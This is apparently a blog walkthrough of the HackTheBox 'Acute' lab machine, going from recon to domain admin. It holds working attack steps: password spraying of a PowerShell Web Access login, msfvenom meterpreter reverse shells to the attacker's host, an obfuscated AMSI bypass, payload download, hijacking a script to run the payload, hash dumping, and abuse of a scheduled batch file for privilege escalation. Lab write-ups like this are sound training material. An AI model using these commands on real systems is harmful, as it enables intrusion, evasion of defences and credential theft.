This HackTheBox can be found here.
Acute is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
We’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports 10.10.11.145
1
2
3
4
5
Nmap scan report for 10.10.11.145
Host is up (0.041s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
443/tcp open https
So we’ve only got port 443 open. Let’s check out the site:
We are greeted with 404 page. I’ll throw nikto
against it:
1
nikto -h https://10.10.11.145
Right off the bat, we see the common name in the SSL cert is atsserver.acute.local
. Let’s add this to our /etc/hosts
file:
1
echo '10.10.11.145 acute.htb atsserver.acute.local' | sudo tee -a /etc/hosts
Now, browsing to https://atsserver.acute.local/
gives us a web app:
Looking at the HTML, there are references to WordPress resources, but navigating to /wp-includes
, wp-admin
, and wp-content
all give 404’s. If I had to guess, someone tried to clone a WordPress application to make this site.
Initial Foothold
Whenever testing a web app that’s more than a single page, we need to build out a good map of the application. Since I’m using Burp Suite Community, we don’t have access to the handy discover content
feature. We’ll have to do this manually by clicking and submitting every link we can find on the app. After building out a good map in the Target
tab of Burp, I spot a .docx that we can download:
It looks like we found an employee on-boarding document. This doc gives us additional links to check out: https://atsserver.acute.local/Staff
and https://atsserver.acute.local/Staff/Induction
. At the bottom of the doc, there’s another: https://atsserver.acute.local/Acute_Staff_Access
and we are told that a person named Louis is the only person who can change group membership
and become site admin
:
We can also see that the default password for users is Password1!
and not all staff are changing these
:
Just to make sure we’re not missing anything, we can run the Word doc through exiftool
. This will give us some metadata including the author and description:
After we check out the links from the on-boarding doc, we see that the first two return a 404, but the last gives us a login page:
https://atsserver.acute.local/Acute_Staff_Access/
We found a PowerShell Web Access (PSWA) login. PSWA allows for remote access over the web. I’ll also note, that even though the page says Windows Server 2016
, that doesn’t mean that’s what the server is running.
Since we have a password, I tried logging in as louis
, but failed. Going back to the main website, we can find more employees:
https://atsserver.acute.local/about.html
PowerShell Web Access
Let’s make a user list so we can try to see if the Password1!
pass works for any of the users. Since we don’t know the format, we’ll have to try a few different combinations. To create candidates, I’ll use the tool username-list-generator.:
First, add all the names we found to a text file called user.txt
. Then, run the following:
1
2
3
4
5
git clone https://github.com/captain-noob/username-wordlist-generator.git
cd username-wordlist-generator
rm user.txt
cp ../user.txt .
python3 username-wordlist-generator.py
This will output a file called output.txt
with 84 combinations of usernames:
Since there are only 84 combinations, I’ll use Burp’s intruder even though it’s throttled in the community edition.
First we need to capture a valid login request using the password we found:
Next, we need to right-click and send the request to intruder. In the Positions
tab, we need to set payload markers around the username (userNameTextBox parameter):
To set the payload, we need to go to the Payloads
tab and paste in the output from username-wordlist-generator.py
:
I usually will still use intruder in Burp Suite Community as long as the payload count is under ~100 or so. Anything higher, I’ll use a CLI tool.
After we run intruder, we see a 302
redirect for the user EDavies
:
EDavies to Imonks - User.txt
Using the combination of EDavies:Password1!
we can log in through PSWA to acute-PC01 (the PC name was found in the Word doc’s metadata):
I’d rather work from my cli vs the web console so I’ll grab a meterpreter shell.
First, I’ll generate a powershell payload using msfvenom:
1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=8082 -f psh
Next, we need to set up a listener in Metasploit:
1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 8082
run
Now, we can paste the payload in the web console:
Looks like AMSI doesn’t like our payload. Let’s bypass it by pasting in the following bypass:
1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Now, we can rerun the payload and catch a meterpreter shell:
After getting a meterpreter, I ran through my standard enumeration process. When looking at the output of meterpreter’s screenshot
command, we can see what appears to be a password for the user imonks
:
Using imonks:W3_4R3_th3_f0rce.
I tried to log into the PSWA, but received an authorization error. I also tried metasploit’s run_as
modules, but those also failed. Next, I followed the steps taken in the screenshot. First I dropped into a shell using the shell
command. Then, I spawned powershell and did the following:
1
2
$password = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $password)
Much like the screenshot, Enter-PSSession
also failed for me. Going back the initial word document we found, they mention a session name of dc_manage
. Running:
1
Enter-PSSession -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage
gives us a different error of an unknown term, but running:
1
Invoke-Command -ScriptBlock{whoami} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage
lets us execute commands as imonks
:
Viewing imonks
desktop, we can see two files including user.txt:
Imonks to Jmorgan - Local Admin
Reading wm.ps1
, we can see a powershell script that logs in as acute\jmorgan
:
1
Invoke-Command -ScriptBlock{cat ../Desktop/wm.ps1} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage
1
2
3
4
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
In the script, we have a $securepasswd
variable that is JMorgan’s plaintext password passed to ConvertTo-SecureString
. After trying to use this value failed in different means failed, I saw we could replace the Get-Volume
command with something of our choosing. First, I verified that jmorgan
could access a file in C:\Users\Utils
by making a file called test.txt
and running:
1
Invoke-Command -computername ATSSERVER -credential $creds -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','ls /utils') | set-content -path c:\users\imonks\Desktop\wm.ps1}
And verifying access:
I had issues at this point with my meterpreter shell and went back to PSWA.
Now that we verified access, we can create a reverse shell and drop it in the C:\Utils
dir as edavies:
1
2
3
4
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=8086 -f exe -o shelly.exe
python3 -m http.server 80
# Make sure to set up your listener in metasploit
1
2
3
# As edavies
cd C:\Utils
wget http://<your_kali_ip>/shelly.exe -o shelly.exe
We now need to replace values in wm.ps1
to run our reverse shell:
1
2
3
4
5
# The replacement value will be different if you didn't change it to ls /utils
Invoke-Command -computername ATSSERVER -credential $creds -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'ls /utils','cmd.exe /c /utils/shelly.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1}
# Make sure you have a listener set up in metasploit and run the payload
Invoke-Command -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage
I found that spawning the shell directly would fail, but running it as a child of cmd worked.
After running wm.ps1
, we get a meterpreter shell as jmorgan
:
After accessing our shell, we see that we are a local admin. I looked around for root.txt
but didn’t find one. Running systeminfo
tells us that we are in a Hyper-V container:
Jmorgan to Awallace
Since we are a local admin lets dump the hashes with hashdump
:
Using crackstation as a first check, we see that the plaintext pass for Administrator
is Password@123
.
Going back to our imonks session, we see that there are several users to try the password against:
After going through each user, we see the password worked for awallace
:
1
2
3
4
$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ScriptBlock{whoami} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
# acute\awallace
Awallace to Site_Admin - Root.txt
At this point, I couldn’t find a way to get a true reverse shell as awallace
, so I resorted to manual enumeration. Looking in C:\Program Files\
, we see an unknown folder called keepmeon
:
Within the folder, there is one file named keepmeon.bat
:
1
2
3
4
5
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
We are told that this script runs every 5 minutes and is for Lois only. Recalling from the word doc at the beginning, it was mentioned that Lois is a site admin. Using net group site_admin /domain
, we see that this is a privileged group that has access to domain admins.
The batch script will loop through all files in the directory and run as Lois
. Since that account can add users to site_admins, we’ll add our user awallace
to the group:
1
Invoke-Command -ScriptBlock{Set-Content -Path '\Program Files\keepmeon\elevate.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
After some waiting (most 5 minutes), we should be added to the group and can access root.txt
:
1
Invoke-Command -ScriptBlock{cat /Users/Administrator/Desktop/root.txt} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage